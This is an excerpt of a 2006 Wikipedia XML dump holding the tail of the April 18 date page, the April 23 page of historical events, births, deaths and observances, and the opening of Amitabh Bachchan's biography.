*[[1940]] - [[Joseph L. Goldstein]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*1940 - [[Robert N. Kucey]], Canadian author
*[[1945]] - [[Margaret Hassan]], Irish-born aid worker (d. [[2004]])
*[[1946]] - [[Hayley Mills]], English actress
*[[1947]] - [[Kathy Acker]], American author (d. [[1997]])
*1947 - [[Dorothy Lyman]], American actress, director, producer
*1947 - [[Cindy Pickett]], American actress
*1947 - [[James Woods]], American actor and poker player
*[[1949]] - [[Geoff Bodine]], American race car driver
*[[1954]] - [[Rick Moranis]], Canadian comedian
*[[1956]] - [[Anna Kathryn Holbrook]], American actress
*1956 - [[Eric Roberts]], American actor
*1956 - [[Melody Thomas Scott]], American actress
*[[1958]] - [[Malcolm Marshall]], West Indian cricketer (d. [[1999]])
*[[1961]] - [[Jane Leeves]], British actress
*[[1963]] - [[Eric McCormack]], Canadian actor
*1963 - [[Conan O'Brien]], American comedian
*[[1964]] - [[Niall Ferguson]], British historian 
*[[1966]] - [[Trine Hattestad]], Norwegian athlete
*[[1967]] - [[Maria Bello]], American actress
*[[1968]] - [[David Hewlett]], Canadian actor
*[[1969]] - [[Princess Sayako]] of Japan
*[[1970]] - [[Greg Eklund]], American musician ([[Everclear (band)|Everclear]])
*[[1971]] - [[David Tennant]], Scottish actor
*[[1973]] - [[Haile Gebrselassie]], Ethiopian athlete
*[[1976]] - [[Melissa Joan Hart]], American actress
*[[1979]] - [[Vahid Rahbani]], Iranian actor and director
*1979 - [[Michael Bradley (basketball)|Michael Bradley]], American basketball player
*1979 - [[Matthew Upson]], English footballer
*[[1981]] - [[Audrey Tang]], [[Taiwan]]ese [[free software]] [[programmer]]
*[[1989]] - [[Alia Shawkat]], American actress

==Deaths==
*[[1161]] - [[Theobald of Bec]], [[Archbishop of Canterbury]]
*[[1552]] - [[John Leland]], English antiquarian (b. [[1502]])
*[[1556]] - [[Luigi Alamanni]], Italian poet (b. [[1495]])
*[[1567]] - [[Wilhelm von Grumbach]], German adventurer (b. [[1503]])
*[[1558]] - [[Roxelana]], wife of [[Suleiman the Magnificent]]
*[[1636]] - [[Julius Caesar (judge)|Julius Caesar]], English judge
*[[1650]] - [[Simonds d'Ewes]], English antiquarian and politician (b. [[1602]])
*[[1674]] - [[John Graunt]], English statistician (b. [[1620]])
*[[1689]] - [[George Jeffreys]], British Chief Justice (b. [[1648]])
*[[1690]] - [[Charles IV, Duke of Lorraine]], general of the Holy Roman Empire (b. [[1643]])
*[[1794]] - [[Charles Pratt, 1st Earl Camden]], Lord Chancellor of Great Britain (b. [[1714]])
*[[1796]] - [[Johan Wilcke]], Swedish physicist (b. [[1732]])
*[[1802]] - [[Erasmus Darwin]], English physician and botanist (b. [[1731]])
*[[1873]] - [[Justus von Liebig]], German chemist (b. [[1803]])
*[[1898]] - [[Gustave Moreau]], French painter (b. [[1826]])
*[[1935]] - [[Panait Istrati]], Romanian writer (b. [[1884]])
*[[1936]] - [[Ottorino Respighi]], Italian composer (b. [[1879]])
*[[1943]] - [[Isoroku Yamamoto]], Japanese admiral. (b. [[1884]])
*[[1945]] - [[John Ambrose Fleming]], English physicist and electrical engineer (b. [[1849]])
*1945 - [[Ernie Pyle]], American journalist (b. [[1900]])
*[[1947]] - [[Josef Tiso]], Slovakian leader (b. [[1887]])
*[[1955]] - [[Albert Einstein]], German-born Jewish physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1879]])
*[[1964]] - [[Ben Hecht]], American playwright and screenwriter (b. [[1894]])
*[[1976]] - [[Henrik Dam]], Dutch biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1895]])
*[[1996]] - [[Piet Hein (Denmark)|Piet Hein]], Danish mathematician and inventor (b. [[1905]])
*[[1998]] - [[Terry Sanford]], American politician (b. [[1917]])
*[[2002]] - [[Thor Heyerdahl]], Norwegian explorer (b. [[1914]])
*2002 - [[Wahoo McDaniel]], American football player and wrestler (b. [[1938]])
*[[2003]] - [[Edgar F. Codd]], English computer scientist (b. [[1923]])
*2003 - [[Daijiro Kato]], Japanese motorcycle racer (b. [[1976]])
*[[2004]] - [[Kamisese Mara|Ratu Sir Kamisese Mara]], first [[Prime Minister of Fiji]] and [[President of Fiji]] (b. [[1920]])
*[[2005]] - [[Sam Mills]], [[American football]] [[linebacker]] (b. [[1959]])

==Holidays and observances==
* [[Feast day]]s of 
** [[Saint Apollonius]] (d. [[186]])
** [[Perfecto|Saint Perfecto]] (d. [[850]])
** [[Galdino|Saint Galdino]] (d. [[1176]])
** [[Eusebius]] (d. [[526]])
** [[Agia|Saint Agia]] (d. [[707]])
** [[Marie de l'Incarnation]] ([[1566]] &amp;ndash; [[1618]])
* [[Zimbabwe]] &amp;ndash; Independence Day

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/18 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050418.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Apr&amp;day=18 On This Day in Canada]

----

[[April 17]] - [[April 19]] - [[March 18]] - [[May 18]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[af:18 April]]
[[ar:18 أبريل]]
[[an:18 d'abril]]
[[ast:18 d'abril]]
[[bg:18 април]]
[[be:18 красавіка]]
[[bs:18. april]]
[[ca:18 d'abril]]
[[ceb:Abril 18]]
[[cv:Ака, 18]]
[[co:18 d'aprile]]
[[cs:18. duben]]
[[cy:18 Ebrill]]
[[da:18. april]]
[[de:18. April]]
[[et:18. aprill]]
[[el:18 Απριλίου]]
[[es:18 de abril]]
[[eo:18-a de aprilo]]
[[eu:Apirilaren 18]]
[[fo:18. apríl]]
[[fr:18 avril]]
[[fy:18 april]]
[[ga:18 Aibreán]]
[[gl:18 de abril]]
[[ko:4월 18일]]
[[hr:18. travnja]]
[[io:18 di aprilo]]
[[id:18 April]]
[[ia:18 de april]]
[[ie:18 april]]
[[is:18. apríl]]
[[it:18 aprile]]
[[he:18 באפריל]]
[[jv:18 April]]
[[ka:18 აპრილი]]
[[csb:18 łżëkwiôta]]
[[ku:18'ê avrêlê]]
[[lt:Balandžio 18]]
[[lb:18. Abrëll]]
[[li:18 april]]
[[hu:Április 18]]
[[mk:18 април]]
[[ms:18 April]]
[[nap:18 'e abbrile]]
[[nl:18 april]]
[[ja:4月18日]]
[[no:18. april]]
[[nn:18. april]]
[[oc:18 d'abril]]
[[pl:18 kwietnia]]
[[pt:18 de Abril]]
[[ro:18 aprilie]]
[[ru:18 апреля]]
[[se:Cuoŋománu 18.]]
[[sq:18 Prill]]
[[scn:18 di aprili]]
[[simple:April 18]]
[[sk:18. apríl]]
[[sl:18. april]]
[[sr:18. април]]
[[fi:18. huhtikuuta]]
[[sv:18 april]]
[[tl:Abril 18]]
[[tt:18. Äpril]]
[[te:ఏప్రిల్ 18]]
[[th:18 เมษายน]]
[[vi:18 tháng 4]]
[[tr:18 Nisan]]
[[uk:18 квітня]]
[[ur:18 اپریل]]
[[wa:18 d' avri]]
[[war:Abril 18]]
[[zh:4月18日]]</text>
    </revision>
  </page>
  <page>
    <title>April 23</title>
    <id>1827</id>
    <revision>
      <id>41983889</id>
      <timestamp>2006-03-03T01:11:55Z</timestamp>
      <contributor>
        <ip>24.130.221.252</ip>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=23}}
|}
'''[[April 23]]''' is the 113th day of the year in the [[Gregorian Calendar]] (114th in [[leap year]]s). There are 252 days remaining.
==Events==
*[[215 BC]] - A temple is built on the [[Capitoline Hill]] dedicated to [[Venus Erycina]] to commemorate the [[Roman Empire|Roman]] defeat at [[Battle of Lake Trasimene|Lake Trasimene]].
*[[1014]] - [[Battle of Clontarf]]: [[Brian Boru]] defeats [[Viking]] invaders, but is killed in battle.
*[[1348]] - The founding of the [[Order of the Garter]] by King [[Edward III of England]] is announced on [[Saint George|St George's Day]]. 
*[[1521]] - [[Battle of Villalar]]: [[Charles V, Holy Roman Emperor|King Charles I of Spain]] defeats the [[Comuneros]].
*[[1533]] - The [[Church of England]] annuls the marriage between [[Catherine of Aragon]] and [[Henry VIII of England|Henry VIII]] of England.
*[[1597]] - Shakespeare's ''[[The Merry Wives of Windsor]]'' is first performed, with Queen [[Elizabeth I of England]] in attendance.
*[[1660]] - [[Treaty of Oliwa]] is established between [[Sweden]] and [[Poland]].
*[[1661]] - King [[Charles II of England]], [[Scotland]] and [[Ireland]] is crowned in [[Westminster Abbey]].
*[[1827]] - [[William Rowan Hamilton]] presents his ''Theory of systems of rays''.
*[[1867]] - [[William Lincoln]] patents the [[zoetrope]], a machine which shows animated pictures by mounting a strip of drawings in a wheel.
*[[1920]] - The national council in [[Turkey]] denounces the government of [[Sultan]] [[Mehmed VI]] and announces a temporary constitution.
*[[1923]] - Inauguration ceremonies take place of [[Gdynia]] as a temporary military port and fishers' shelter.
*[[1932]] - The 153-year old [[De Adriaan]] Windmill in [[Haarlem]], [[the Netherlands]] burns down.
*[[1935]] - [[Polish Constitution of 1935]] is adopted.
*[[1940]] - A fire at a dance hall in [[Natchez, Mississippi]] kills 198 people.
*[[1942]] - [[World War II]]: [[Baedeker Blitz]] &amp;ndash; [[Germany|German]] bombers hit [[Exeter]], [[Bath]] and [[York]] in retaliation for the British raid on [[Lübeck]]. 
*[[1948]] - [[1948 Arab-Israeli War]]: [[Haifa]], the major port of [[Israel]], is captured from Palestinian forces.
*[[1954]] - [[Hank Aaron]] hits his first major league [[home run]].
*[[1956]] - [[Elvis Presley]] makes his first appearance in [[Las Vegas, Nevada]].
*[[1961]] - [[Judy Garland]] appears in her celebrated concert at [[Carnegie Hall]] in [[New York]]. 
*[[1967]] - A group of young radicals are expelled from the [[Nicaraguan Socialist Party]] (PSN). This group goes on to found the [[Communist Party of Nicaragua|Socialist Workers Party]] (POS).
*[[1968]] - The [[United Kingdom]] produces its first decimalised coins, a 5p and a 10p coin.
*1968 - [[Vietnam War]]: Student protesters at [[Columbia University]] in [[New York City]] take over administration buildings and shut down the university.
*[[1974]] - A [[Pan American World Airways]] [[Boeing]] 707 crashes in [[Bali]], [[Indonesia]], killing 107.
*[[1979]] - Fighting in London between the [[Anti-Nazi League]] and the [[Metropolitan Police]]'s [[Special Patrol Group]] results in the death of protestor [[Blair Peach]].
*[[1981]] - [[Stefano Bontade]], [[Mafia]] boss in [[Sicily]], is murdered in [[Palermo]], the opening shot in a Mob War orchestrated by [[Salvatore Riina]].
*[[1985]] - [[New Coke]], a [[list of major flops|marketing disaster]] is introduced.
*[[1990]] - [[Namibia]] becomes the 160th member of the [[United Nations]] and the 50th member of the [[Commonwealth of Nations]].
*[[1993]] - [[Eritrea]]ns vote overwhelmingly for independence from [[Ethiopia]] in a [[United Nations]]-monitored referendum.
*[[1994]] - [[physics|Physicists]] discover the [[top quark]] [[subatomic particle]].
*[[1995]] - [[Association of Autonomous Astronauts]] founded.
*[[1997]] - [[Omaria massacre]] in [[Algeria]]; 42 villagers killed.
*[[2001]] - [[Intel]] introduces the [[Pentium 4]] Processor.
*[[2003]] - [[Beijing]] closes all schools for two weeks due to the [[Severe acute respiratory syndrome|SARS]] virus.

==Births==
*[[1185]] - King [[Afonso II of Portugal]] (d. [[1223]])
*[[1484]] - [[Julius Caesar Scaliger]], Italian philosopher (d. [[1558]])
*[[1500]] - [[Alexander Ales]], Scottish theologian (d. [[1565]])
*[[1516]] - [[Georg Fabricius]], German poet, historian, and archaeologist (d. [[1571]])
*[[1564]] - [[William Shakespeare]], English poet and playwright [uncertain] (d. [[1616]])
*[[1598]] - [[Maarten Tromp]], Dutch admiral (d. [[1653]])
*[[1628]] - [[Johann van Waveren Hudde]], Dutch mathematician (d. [[1704]])
*[[1676]] - King [[Frederick I of Sweden]] (d. [[1751]])
*[[1720]] - [[Vilna Gaon]], Lithuanian rabbi (d. [[1797]])
*[[1725]] - [[Saint Gerard Majella]], [[Roman Catholic|Catholic]] [[saint]]
*[[1775]] - [[William Turner]], English ornithologist (d. [[1851]])
*[[1791]] - [[James Buchanan]], 15th [[President of the United States]] (d. [[1868]])
*[[1792]] - [[John Thomas Romney Robinson]], Irish astronomer and physicist (d. [[1882]])
*[[1805]] - [[Johann Karl Friedrich Rosenkranz]], German philosopher (d. [[1879]])
*[[1813]] - [[Stephen A. Douglas]], U.S. Senator from Illinois and Presidential candidate (d. [[1861]])
*[[1823]] - [[Abd-ul-Mejid]], [[Ottoman Sultan]] (d. [[1861]])
*[[1858]] - [[Max Planck]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1947]])
*[[1861]] - [[Edmund Henry Hynman Allenby]], British general (d. [[1936]])
*[[1867]] - [[Johannes Andreas Grib Fibiger]], Danish scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1928]])
*[[1876]] - [[Arthur Moeller van den Bruck]], German historian (d. [[1925]])
*[[1880]] - [[Michel Fokine]], Russian choreographer and dancer (d. [[1942]])
*[[1882]] - [[Albert Coates]], British composer (d. [[1953]])
*[[1889]] - [[Karel Doorman]], Dutch admiral (d. [[1942]])
*[[1893]] - [[Frank Borzage]], American film director (d. [[1952]])
*1893 - [[Allen Dulles]], American Central Intelligence Agency director (d. [[1969]])
*[[1895]] - [[Ngaio Marsh]], New Zealand writer (d. [[1982]])
*[[1897]] - [[Lucius Clay]], American general (d. [[1978]])
*1897 - [[Lester B. Pearson]], fourteenth [[Prime Minister of Canada]], recipient of the [[Nobel Peace Prize]] (d. [[1972]])
*[[1899]] - Dame [[Ngaio Marsh]], New Zealand author (d. [[1982]])
*1899 - [[Bertil Ohlin]], Swedish economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner (d. [[1979]])
*[[1900]] - [[Joseph Green]], Polish-born actor and director (d. [[1996]])
*[[1901]] - [[Edmund Brisco Ford|E.B. Ford]], British ecological geneticist (d. [[1988]])
*[[1902]] - [[Halldór Laxness]], Icelandic writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1998]])
*[[1904]] - [[Duncan Renaldo]], Spanish-American actor (d. [[1985]])
*[[1907]] - [[Fritz Wotruba]], Austrian sculptor
*[[1910]] - [[Simone Simon]], French actress (d. [[2005]])
*[[1918]] - [[Maurice Druon]], French author
*[[1921]] - [[Warren Spahn]], baseball player (d. [[2003]])
*[[1923]] - [[Dolph Briscoe]], Governor of Texas
*1923 - [[Avram Davidson]], American writer (d. [[1993]])
*[[1928]] - [[Shirley Temple]], American actress and politician
*[[1932]] - [[Jim Fixx]], American athlete and writer (d. [[1984]])
*1932 - [[Halston]], American fashion designer (d. [[1990]])
*1932 - [[Estelle Harris]], American actress
*[[1935]] - [[Bunky Green]], American musician
*1935 - [[Ray Peterson]], American singer (d. [[2005]])
*[[1936]] - [[Roy Orbison]], American singer and musician  (d. [[1988]])
*[[1939]] - [[Lee Majors]], American actor
*[[1941]] - [[Jacqueline Boyer]], French singer
*1941 - [[Paavo Lipponen]], [[Prime Minister of Finland]]
*[[1942]] - [[Sandra Dee]], American actress (d. [[2005]])
*[[1943]] - [[Tony Esposito]], Canadian hockey player
*1943 - [[Frans Koppelaar]], Dutch painter
*1943 - [[Hervé Villechaize]], French actor (d. [[1993]])
*[[1947]] - [[Bernadette Devlin]], Irish politician
*[[1948]] - [[Pascal Quignard]], French author
*[[1949]] - [[Joyce DeWitt]], American actress
*[[1954]] - [[Michael Moore]], American filmmaker
*[[1955]] - [[Judy Davis]], Australian actress
*1955 - [[Tony Miles]], English chess player (d. [[2001]])
*[[1958]] - [[Hilmar Örn Hilmarsson]], music composer, art director and ''allsherjargoði'' (chief [[goði]]) of the [[Íslenska Ásatrúarfélagið]] (Icelandic Ásatrú Association)
*1958 - [[Tove Jensen]], Swedish porn actress
*1958 - [[Ryan Walter]], Canadian ice hockey player
*[[1960]] - [[Valerie Bertinelli]], American actress
*1960 - [[Steve Clark]], English guitarist ([[Def Leppard]]) (d. [[1991]])
*[[1961]] - [[George Lopez]], American actor and comedian
*[[1967]] - [[Melina Kanakaredes]], American actress
*[[1968]] - [[Timothy McVeigh]], American terrorist (d. [[2001]])
*[[1972]] - [[Patricia Manterola]], Mexican singer
*[[1975]] - [[Jón Þór Birgisson]], Guitar player and lead singer of the Icelandic post-rock band Sigur Rós
*[[1977]] - [[John Cena]], American professional wrestler and rapper
*[[1978]] - [http://www.decalhaven.com John Cummings], Great American entripenuer
*[[1979]] - [[Jaime King]], American actress
*[[1983]] - [[Daniela Hantuchová]], Slovakian tennis player
*[[1986]] - [[Jessica Stam]], Canadian supermodel
*[[1989]] - [[Nicole Vaidišová]], Czech tennis player

==Deaths==
*[[303]] - [[Saint George]], Roman soldier and Christian martyr
*[[725]] - [[Wihtred]], [[King of Kent]]
*[[871]] - [[Ethelred of Wessex]]
*[[1014]] - [[Brian Boru]], [[High King of Ireland]] (killed in battle)
*[[1016]] - [[Ethelred II of England]]
*[[1124]] - King [[Alexander I of Scotland]] (b. [[1078]])
*[[1151]] - Queen [[Adeliza]] of England (b. [[1103]])
*[[1217]] - King [[Inge II of Norway]] (b. [[1185]])
*[[1407]] - [[Olivier de Clisson]], French soldier (b. [[1326]])
*[[1616]] - [[Miguel Cervantes]], Spanish author (b. [[1547]])
*1616 - [[William Shakespeare]], English writer and actor (b. [[1564]])
*[[1625]] - [[Maurice of Nassau, Prince of Orange]] (b. [[1567]])
*[[1702]] - [[Margaret Fell]], English Quaker leader (b. [[1614]])
*[[1740]] - [[Thomas Tickell]], English writer (b. [[1685]])
*[[1781]] - [[James Abercrombie (general)|James Abercrombie]], British general (b. [[1706]])
*[[1792]] - [[Karl Friedrich Bahrdt]], German theologian and adventurer (b. [[1741]])
*[[1794]] - [[Guillaume-Chrétien de Lamoignon de Malesherbes]], French statesman (executed) (b. [[1721]])
*[[1850]] - [[William Wordsworth]], English poet (b. [[1770]])
*[[1889]] - [[Jules Barbey d'Aurevilly]], French writer (b. [[1808]])
*[[1895]] - [[Carl Ludwig]], German physician (b. [[1815]])
*[[1936]] - [[Teresa de la Parra]], Venezuelan writer (b. [[1889]])
*[[1951]] - [[Charles G. Dawes]], [[Vice President of the United States]], recipient of the [[Nobel Peace Prize]] (b. [[1865]])
*[[1952]] - [[Julius Freed]], American inventor and banker (b. [[1887]])
*[[1975]] - [[William Hartnell]], English actor (b. [[1908]])
*[[1979]] - [[Blair Peach]], New Zealand-born anti-fascist (b. [[1946]])
*[[1983]] - [[Buster Crabbe]], American swimmer and actor (b. [[1908]])
*[[1984]] - [[Red Garland]], American jazz pianist (b. [[1923]])
*[[1985]] - [[Sam Ervin]], American politician (b. [[1896]])
*[[1986]] - [[Harold Arlen]], American composer (b. [[1905]])
*1986 - [[Jim Laker]], English cricketer (b. [[1922]]) 
*1986 - [[Otto Preminger]], Austrian-born film director (b. [[1906]])
*[[1990]] - [[Paulette Goddard]], American actress (b. [[1911]])
*[[1991]] - [[Johnny Thunders]], American musician (b. [[1952]])
*[[1992]] - [[Satyajit Ray]], Indian filmmaker (b. [[1921]])
*[[1993]] - [[César Chávez]], American labor activist (b. [[1927]])
*[[1995]] - [[Howard Cosell]], American sports journalist (b. [[1918]])
*1995 - [[John C. Stennis]], U.S. Senator from Mississippi (b. [[1904]])
*[[1996]] - [[P. L. Travers]], Australian author (b. [[1899]])
*[[1997]] - [[Denis Compton]], English cricketer (b. [[1918]])
*[[1998]] - [[James Earl Ray]], American assassin (b. [[1928]])
*[[2002]] - [[Linda Lovelace]], American actress (b. [[1949]])
*[[2003]] - [[James H. Critchfield]], American Central Intelligence agent (b. [[1917]])
*2003 - [[Fernand Fonssagrives]], French photographer (b. [[1910]])
*[[2005]] - Sir [[Joh Bjelke-Petersen]], Premier of Queensland (b. [[1911]])
*2005 - [[Al Grassby]], Australian immigration minister (b. [[1928]])
*2005 - Sir [[John Mills]], English actor (b. [[1908]])
*2005 - [[Romano Scarpa]], Italian-born comic artist (b. [[1927]])
*2005 - [[Earl Wilson]], baseball player (b. [[1934]])

==Holidays and observances==
*Feast Day of [[Saint George]]:
**[[National Day]] of [[England]]
**Celebrated as ''St. Jordi's Day'' in [[Catalonia]], presents of books and roses. See below. 
**[[Jurgi]] festival, in ancient [[Latvia]]
*[[UNESCO]] [[World Book and Copyright Day|International Day of the Book]] in honor of Shakespeare's and Cervantes's death on April 23, 1616. 
*[[Catalonia]] - Lover's Day. Men receive a book as a gift from their romantic interest, while women receive roses. The book is in honor of Shakespeare's and Cervantes's death on April 23, 1616. 
*[[Turkey]] - National Sovereignty and Children's Day ([[1920]])
*[[Israel]] - [[Yom Ha'atzma'ut]] (Israeli Independence Day) for [[2007]]: (the observed date of this [[national holiday]] is determined by the [[Jewish Calendar]]).
*Independence Day for the [[Conch Republic]]
*National [[Beer]] Day in [[Germany]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/23 BBC: On This Day]

----

[[April 22]] - [[April 24]] - [[March 23]] - [[May 23]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[ceb:Abril 23]]
[[ilo:Abril 23]]
[[nap:23 'e abbrile]]
[[war:Abril 23]]
[[pam:Abril 23]]

[[af:23 April]]
[[ar:23 أبريل]]
[[an:23 d'abril]]
[[ast:23 d'abril]]
[[bg:23 април]]
[[be:23 красавіка]]
[[bs:23. april]]
[[ca:23 d'abril]]
[[cv:Ака, 23]]
[[co:23 d'aprile]]
[[cs:23. duben]]
[[cy:23 Ebrill]]
[[da:23. april]]
[[de:23. April]]
[[et:23. aprill]]
[[el:23 Απριλίου]]
[[es:23 de abril]]
[[eo:23-a de aprilo]]
[[eu:Apirilaren 23]]
[[fo:23. apríl]]
[[fr:23 avril]]
[[fy:23 april]]
[[ga:23 Aibreán]]
[[gl:23 de abril]]
[[ko:4월 23일]]
[[hr:23. travnja]]
[[io:23 di aprilo]]
[[id:23 April]]
[[ia:23 de april]]
[[ie:23 april]]
[[is:23. apríl]]
[[it:23 aprile]]
[[he:23 באפריל]]
[[jv:23 April]]
[[ka:23 აპრილი]]
[[csb:23 łżëkwiôta]]
[[ku:23'ê avrêlê]]
[[lt:Balandžio 23]]
[[lb:23. Abrëll]]
[[li:23 april]]
[[hu:Április 23]]
[[mk:23 април]]
[[ms:23 April]]
[[nl:23 april]]
[[ja:4月23日]]
[[no:23. april]]
[[nn:23. april]]
[[oc:23 d'abril]]
[[pl:23 kwietnia]]
[[pt:23 de Abril]]
[[ro:23 aprilie]]
[[ru:23 апреля]]
[[sco:23 Aprile]]
[[sq:23 Prill]]
[[scn:23 di aprili]]
[[simple:April 23]]
[[sk:23. apríl]]
[[sl:23. april]]
[[sr:23. април]]
[[fi:23. huhtikuuta]]
[[sv:23 april]]
[[tl:Abril 23]]
[[tt:23. Äpril]]
[[te:ఏప్రిల్ 23]]
[[th:23 เมษายน]]
[[vi:23 tháng 4]]
[[tr:23 Nisan]]
[[uk:23 квітня]]
[[ur:23 اپریل]]
[[wa:23 d' avri]]
[[zh:4月23日]]</text>
    </revision>
  </page>
  <page>
    <title>Amitabh Bachchan</title>
    <id>1828</id>
    <revision>
      <id>41963178</id>
      <timestamp>2006-03-02T22:34:11Z</timestamp>
      <contributor>
        <ip>202.62.123.178</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Celebrity
| name       = Amitabh Bachchan
| image      = AmitabhBhachchan.jpg
| birth_date  = [[October 11]], [[1942]]
| birth_place = [[Allahabad]], [[India]]
| death_date  =   
| death_place =   
| occupation = [[Actor]]
| salary     = 
| networth   = 
| website    = 
}}
'''Amitabh Bachchan''' (born [[October 11]], [[1942]], in [[Allahabad]], [[India]]) also known as '''Big B''', is an iconic [[India]]n [[actor]] whose [[Bollywood]] career has spanned four decades. He was declared Superstar of the Millennium in 1999 in an international poll hosted by the [[BBC]].

==Biography==
Amitabh was born to Teji and [[Harivansh Rai 'Bachchan']]. Harivansh Rai was a well-known [[Hindi]] poet. Amitabh attended Boys' High School in [[Allahabad]] followed by [[Sherwood College]] in [[Nainital]] and went on to [[Delhi University]] to earn a degree in science. 

He gave up his job as a freight broker for the shipping firm Bird and Company in Calcutta to pursue an acting career. He entered FTII Pune (the Film And Television Institute of India at Pune). Jaya Bhaduri (whom he later married), Anil Dhawan (director David Dhawan's brother), Shatrughan Sinha, Romesh Sharma, Danny Denzongpa, and Amitabh were all classmates at FTII Pune.

Bachchan began his acting career in 1969 with ''[[Saat Hindustani]]''. He became well known as a [[movie star]] in 1973, with the films ''[[Abhimaan]]'' and ''[[Zanjeer]]''.  

In 1982, Bachchan was injured while filming on the set of ''[[Coolie]]''. People were so concerned about his health that they thronged to temples and prayed for his life and quick recovery. He recovered and resumed making films. Popular interest in his injury had been so high that when ''Coolie'' was released, it featured a freeze-frame and caption, isolating the exact instant during a fight scene when Amitabh was hurt.

While his popularity waned in the [[1990s]], Bachchan made a comeback in the early [[2000s]] by hosting ''[[Kaun Banega Crorepati]]'', the Indian version of ''[[Who Wants to be a Millionaire]]''.

Bachchan married actress [[Jaya Bhaduri]] in 1973. He has co-starred with Jaya in many films: ''[[Zanjeer]]'', ''[[Abhimaan]]'', ''Milli'', ''Chupke Chupke'',''[[Sholay]]'', ''[[Silsila]]'' and, ''[[Kabhi Khushi Kabhi Gham]]''. They have two children: [[Shweta Bachchan-Nanda]] and [[Abhishek Bachchan]]. Abhishek Bachchan has  followed in his father's footsteps, having starred in a number of movies.

==Career==
Bachchan's first film was ''[[Saat Hindustani]]'' (1969). He became well known as a [[movie star]] in 1973 following the success of ''[[Abhimaan]]'' and ''[[Zanjeer]]''.

Amitabh's most loved films and characters date from this period. Fans remember him from box office hits like ''[[Sholay]]'', ''[[Amar Akbar Anthony]]'', ''[[Trishul]]'', ''[[Don]]'', ''[[Deewar ]]'' and more recently in ''Baghban''. Amitabh often played an angry young man fighting a corrupt establishment -- a theme that had immense appeal in India during that time. The screen-writing duo of [[Salim-Javed]] [http://www.upperstall.com/people/salimjaved.html] have often been credited with creating this persona. In a sense, the relationship was symbiotic. Neither Salim-Javed nor Amitabh have since attained the level of success they achieved with their collaborations.

Amitabh is famous for playing a person who is angry with the whole system, doesn't believe in God and replies back to evils of society, a person who believes in right and does right, a person who doesn't bow before anyone else except his mother. As a result of portraying these kind of images in the films he worked, the people and media call him &quot;an [[Angry young man]]&quot;. 

In an era where producers looked to cast a handsome full-bodied man as the hero, Amitabh was written off, due to his unconventional looks and tall, lanky frame.  His baritone (since regarded as his biggest asset) once failed to get him a job as a [[news presenter]] at [[All India Radio]]. The success of ''Zanjeer'' and ''Sholay'' turned that around. Audiences adored his on-screen presence and a flair for comedy. 

Many of his films in the 1970s followed a set formula: a poor childhood, parents murdered or separated after birth, survival through street-smart instincts, entry of a villain (usually a social oppressor or smuggler or his parents' killer or long lost father), some comedy scenes, a drunk scene, songs, dances, an action finale and a dying speech. It can be argued that the Salim-Javed stories written for Amitabh during the 1970s form an informal sequel, with the same character being played out in various settings. 

Critics would regard most of these 1970s films as run-of-the-mill ''masala'' movies with creaking plots and sub-par production values. However, Amitabh's persona lifted them to incredible heights of popularity. 

He continued making films all through the [[1980s]] and [[1990s]], but his appeal seemed to have waned. Though a few of his movies were successful (''[[Bade Miyan Chhote Miyan]]'' and ''[[Mohabbatein]]''), critics said that they succeeded due to Amitabh's co-stars, [[Govinda (actor)|Govinda]] and [[Shahrukh Khan]]. Industry gossip said that Amitabh was finished as an actor. 

Then Amitabh proved the critics wrong. First came the fan accolades. In 1999, in a [[British Broadcasting Corporation|BBC]] Online Poll, he was named the Superstar of the Millennium. In [[June]] [[2000]] he became the first living [[Asian]] to have a wax statue erected in his honor at [[Madame Tussaud's]].

In 2000, he was chosen as the host for ''[[Kaun Banega Crorepati]]'', the Indian version of ''[[Who Wants to Be a Millionaire?]]''. The show became an enormous hit. While the show 
was on, street traffic dropped dramatically; restaurants and movie theaters complained of diminishing clientèle. Critics were forced to admit that Amitabh could still pull big crowds. The show was aired again as ''Kaun Banega Crorepati 2'', with a prize money double the first version.

The reason for the popularity of Amitabh has probably been the uncanny portrayal of the Indian consciousness in his roles. We can see the development of 70's India to the corporate setup of the present era. In this transformation the identity of &quot;Indian-ness&quot; is not lost.

Since his game show success, he has appeared in several hit movies. He has also appeared in many [[Advertising|ads]] for commercial products and for various [[non-profit organization]]s. He has supported campaigns for eye donations and against [[polio]] and [[AIDS]].

==Public life==
In 1984, Bachchan briefly entered politics in support of long-time family friend [[Rajiv Gandhi]]. He contested Allahabad's parliament seat against H. N. Bahuguna, a well-known politician and won (winning 68.2% of the vote). {{ref|election}} However, his political career was short-lived; he resigned after three years before finishing his term. At the time of his resignation, it was rumored that he might have been involved in the [[Bofors scandal]]. Bachchan was not implicated in the corruption and has since distanced himself from the Gandhi family. Bachchan denies that the these events were connected, commenting that he &quot;should have never got into politics.&quot; {{ref|politics}}

In 1995, Amitabh went into business, founding Amitabh Bachchan Corporation Ltd., an entertainment company that specialized in film production and event management. The company did not succeed and Bachchan was pushed into huge debt when a big-budget production bombed at the Bollywood box office. He did not, however, file for bankruptcy. Apart from what is a commonly held belief that influential public figures such as Sahara Group chairman Subroto Roy and politician Amar Singh helped bail Bachchan financially out of his debts, the actor also took on visibly more acting and endorsing contracts to pay off his creditors. According to most accounts, with his return to the small screen for a second season of Kaun Banega Crorepati, his debts may have been completely cleared in 2005. Some observers speculate that he will try to revive his company.

He was admited to hospital in November 2005 for Ulcerative Colitis. For weeks this formed the basis of the main news stories in the Indian media. Such is the popularity of Amitabh that prayers were held all over India and special ‘pujas' conducted, in scenes reminiscient of the Coolie film accident. 

